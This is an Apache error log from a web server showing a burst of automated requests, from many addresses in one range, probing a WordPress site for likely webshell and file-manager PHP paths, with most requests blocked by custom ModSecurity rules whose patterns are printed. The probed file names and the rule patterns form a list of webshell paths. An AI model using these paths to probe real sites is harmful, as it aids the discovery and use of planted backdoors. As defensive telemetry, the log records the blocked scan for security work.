[Sun Mar 15 04:34:33.772703 2026] [:error] [pid 38645:tid 38657] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Sun Mar 15 04:34:33.883184 2026] [:error] [pid 38645:tid 38667] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfusm.php
[Sun Mar 15 04:34:34.029721 2026] [:error] [pid 38645:tid 38670] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Sun Mar 15 04:34:34.123712 2026] [:error] [pid 38645:tid 38649] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Sun Mar 15 04:34:34.379989 2026] [:error] [pid 38645:tid 38662] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Sun Mar 15 04:34:34.570830 2026] [:error] [pid 38645:tid 38648] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Sun Mar 15 04:34:34.677142 2026] [:error] [pid 38645:tid 38649] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Sun Mar 15 04:34:34.792020 2026] [:error] [pid 38645:tid 38658] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/memberfuns.php
[Sun Mar 15 04:34:34.912673 2026] [:error] [pid 38645:tid 38655] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Sun Mar 15 04:34:35.028859 2026] [:error] [pid 38645:tid 38647] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Sun Mar 15 04:34:35.158333 2026] [:error] [pid 38645:tid 38661] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Sun Mar 15 04:34:35.283070 2026] [:error] [pid 38645:tid 38665] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Sun Mar 15 04:34:35.410062 2026] [:error] [pid 38645:tid 38657] [client 98.159.43.129:50467] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Sun Mar 15 04:34:35.721667 2026] [:error] [pid 38645:tid 38668] [client 98.159.43.129:50467] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "abXGWxFPHtsDUuVrWDZGFwAAANU"]
[Sun Mar 15 04:34:35.950840 2026] [:error] [pid 38540:tid 38588] [client 98.159.43.142:21005] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "abXGW18bnHsJ1dE90bLWaAAAAEI"]
[Sun Mar 15 04:34:36.852921 2026] [:error] [pid 38536:tid 38567] [client 98.159.43.131:37785] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "abXGXPpTEqkVJ0rBEWtoTAAAAA4"]
[Sun Mar 15 04:34:37.970608 2026] [:error] [pid 9995:tid 10011] [client 98.159.43.155:42115] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "abXGXQa8xkcaSmgTbwi0kQAAAQ0"]
[Sun Mar 15 04:34:39.473956 2026] [:error] [pid 38536:tid 38574] [client 98.159.43.141:55271] [client 98.159.43.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "abXGX_pTEqkVJ0rBEWtoYgAAABU"]
[Sun Mar 15 04:34:40.502502 2026] [:error] [pid 38540:tid 38589] [client 98.159.43.137:45337] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "abXGYF8bnHsJ1dE90bLWmQAAAEM"]
[Sun Mar 15 04:34:42.129092 2026] [:error] [pid 9995:tid 10006] [client 98.159.43.107:33549] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/gecko-old.php
[Sun Mar 15 04:34:42.265775 2026] [:error] [pid 9995:tid 10003] [client 98.159.43.107:33549] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "abXGYga8xkcaSmgTbwi0tQAAAQU"]
[Sun Mar 15 04:34:42.608486 2026] [:error] [pid 38645:tid 38658] [client 98.159.43.147:41835] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "abXGYhFPHtsDUuVrWDZGgAAAAMs"]
[Sun Mar 15 04:34:43.136413 2026] [:error] [pid 38645:tid 38649] [client 98.159.43.158:20013] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "abXGYxFPHtsDUuVrWDZGkgAAAMI"]
[Sun Mar 15 04:34:43.709473 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.140:25209] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "abXGYxFPHtsDUuVrWDZGowAAAM0"]
[Sun Mar 15 04:34:44.022919 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.162:38169] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "abXGZAa8xkcaSmgTbwi02AAAARQ"]
[Sun Mar 15 04:34:44.444534 2026] [:error] [pid 38645:tid 38653] [client 98.159.43.138:20111] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "abXGZBFPHtsDUuVrWDZGtwAAAMY"]
[Sun Mar 15 04:34:44.991059 2026] [:error] [pid 38541:tid 38630] [client 98.159.43.105:60883] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "abXGZHuOpex8jIO0jt69jAAAAJE"]
[Sun Mar 15 04:34:45.203569 2026] [:error] [pid 38645:tid 38653] [client 98.159.43.111:49315] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "abXGZRFPHtsDUuVrWDZG2QAAAMY"]
[Sun Mar 15 04:34:45.506955 2026] [:error] [pid 38540:tid 38594] [client 98.159.43.148:33279] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "abXGZV8bnHsJ1dE90bLWpQAAAEg"]
[Sun Mar 15 04:34:45.976521 2026] [:error] [pid 9995:tid 10010] [client 98.159.43.144:46865] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "abXGZQa8xkcaSmgTbwi05wAAAQw"]
[Sun Mar 15 04:34:46.230107 2026] [:error] [pid 9995:tid 10000] [client 98.159.43.156:24105] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "abXGZga8xkcaSmgTbwi07AAAAQI"]
[Sun Mar 15 04:34:46.462951 2026] [:error] [pid 38645:tid 38662] [client 98.159.43.116:38079] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "abXGZhFPHtsDUuVrWDZG9wAAAM8"]
[Sun Mar 15 04:34:46.699172 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.113:26041] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "abXGZga8xkcaSmgTbwi08gAAARU"]
[Sun Mar 15 04:34:46.897048 2026] [:error] [pid 38541:tid 38623] [client 98.159.43.131:36131] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "abXGZnuOpex8jIO0jt69nwAAAIo"]
[Sun Mar 15 04:34:47.243818 2026] [:error] [pid 38536:tid 38564] [client 98.159.43.113:28999] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "abXGZ_pTEqkVJ0rBEWtorQAAAAs"]
[Sun Mar 15 04:34:47.545169 2026] [:error] [pid 38536:tid 38560] [client 98.159.43.108:61465] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "abXGZ_pTEqkVJ0rBEWtorgAAAAc"]
[Sun Mar 15 04:34:47.800417 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.149:57465] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "abXGZwa8xkcaSmgTbwi1BQAAARQ"]
[Sun Mar 15 04:34:48.181659 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.145:31403] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "abXGaAa8xkcaSmgTbwi1DQAAARU"]
[Sun Mar 15 04:34:48.587252 2026] [:error] [pid 38645:tid 38647] [client 98.159.43.111:27137] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "abXGaBFPHtsDUuVrWDZHGgAAAMA"]
[Sun Mar 15 04:34:48.856372 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.108:38255] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "abXGaAa8xkcaSmgTbwi1GQAAARU"]
[Sun Mar 15 04:34:49.935373 2026] [:error] [pid 38541:tid 38621] [client 98.159.43.139:57269] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "abXGaXuOpex8jIO0jt69xAAAAIg"]
[Sun Mar 15 04:34:50.943781 2026] [:error] [pid 38645:tid 38652] [client 98.159.43.152:60045] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/colour.php"] [unique_id "abXGahFPHtsDUuVrWDZHXAAAAMU"]
[Sun Mar 15 04:34:51.197873 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.112:64399] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "abXGaxFPHtsDUuVrWDZHaAAAANE"]
[Sun Mar 15 04:34:51.483288 2026] [:error] [pid 38645:tid 38655] [client 98.159.43.110:37153] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "abXGaxFPHtsDUuVrWDZHbgAAAMg"]
[Sun Mar 15 04:34:51.667813 2026] [:error] [pid 38645:tid 38669] [client 98.159.43.123:63595] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Sun Mar 15 04:34:52.272515 2026] [:error] [pid 38645:tid 38658] [client 98.159.43.123:63595] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "abXGbBFPHtsDUuVrWDZHjwAAAMs"]
[Sun Mar 15 04:34:52.850984 2026] [:error] [pid 38541:tid 38626] [client 98.159.43.152:53581] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "abXGbHuOpex8jIO0jt693wAAAI0"]
[Sun Mar 15 04:34:53.313873 2026] [:error] [pid 38540:tid 38588] [client 98.159.43.138:42279] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "abXGbV8bnHsJ1dE90bLW0AAAAEI"]
[Sun Mar 15 04:34:53.690149 2026] [:error] [pid 9995:tid 10020] [client 98.159.43.114:26103] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "abXGbQa8xkcaSmgTbwi1MwAAARY"]
[Sun Mar 15 04:34:53.872522 2026] [:error] [pid 9995:tid 10005] [client 98.159.43.150:35039] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Sun Mar 15 04:34:54.387763 2026] [:error] [pid 9995:tid 10011] [client 98.159.43.150:35039] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "abXGbga8xkcaSmgTbwi1RgAAAQ0"]
[Sun Mar 15 04:34:54.594767 2026] [:error] [pid 9995:tid 10008] [client 98.159.43.151:45837] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "abXGbga8xkcaSmgTbwi1TAAAAQo"]
[Sun Mar 15 04:34:55.167962 2026] [:error] [pid 38645:tid 38656] [client 98.159.43.106:53103] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "abXGbxFPHtsDUuVrWDZHvwAAAMk"]
[Sun Mar 15 04:34:55.389559 2026] [:error] [pid 38536:tid 38568] [client 98.159.43.117:63931] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "abXGb_pTEqkVJ0rBEWto0QAAAA8"]
[Sun Mar 15 04:34:55.988422 2026] [:error] [pid 9995:tid 10021] [client 98.159.43.122:63289] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Sun Mar 15 04:34:56.439961 2026] [:error] [pid 9995:tid 10016] [client 98.159.43.122:63289] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "abXGcAa8xkcaSmgTbwi1dwAAARI"]
[Sun Mar 15 04:34:56.651784 2026] [:error] [pid 38541:tid 38629] [client 98.159.43.116:63081] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "abXGcHuOpex8jIO0jt6-AAAAAJA"]
[Sun Mar 15 04:34:57.155582 2026] [:error] [pid 38645:tid 38665] [client 98.159.43.144:44847] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "abXGcRFPHtsDUuVrWDZH6gAAANI"]
[Sun Mar 15 04:34:57.377270 2026] [:error] [pid 38541:tid 38619] [client 98.159.43.162:28219] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "abXGcXuOpex8jIO0jt6-CAAAAIY"]
[Sun Mar 15 04:34:58.298640 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.162:49171] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "abXGchFPHtsDUuVrWDZIAwAAAM0"]
[Sun Mar 15 04:34:58.619210 2026] [:error] [pid 38541:tid 38636] [client 98.159.43.157:62787] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "abXGcnuOpex8jIO0jt6-FAAAAJc"]
[Sun Mar 15 04:34:59.255378 2026] [:error] [pid 38541:tid 38634] [client 98.159.43.137:63711] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "abXGc3uOpex8jIO0jt6-IQAAAJU"]
[Sun Mar 15 04:34:59.454373 2026] [:error] [pid 38541:tid 38616] [client 98.159.43.109:33949] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "abXGc3uOpex8jIO0jt6-JAAAAIM"]
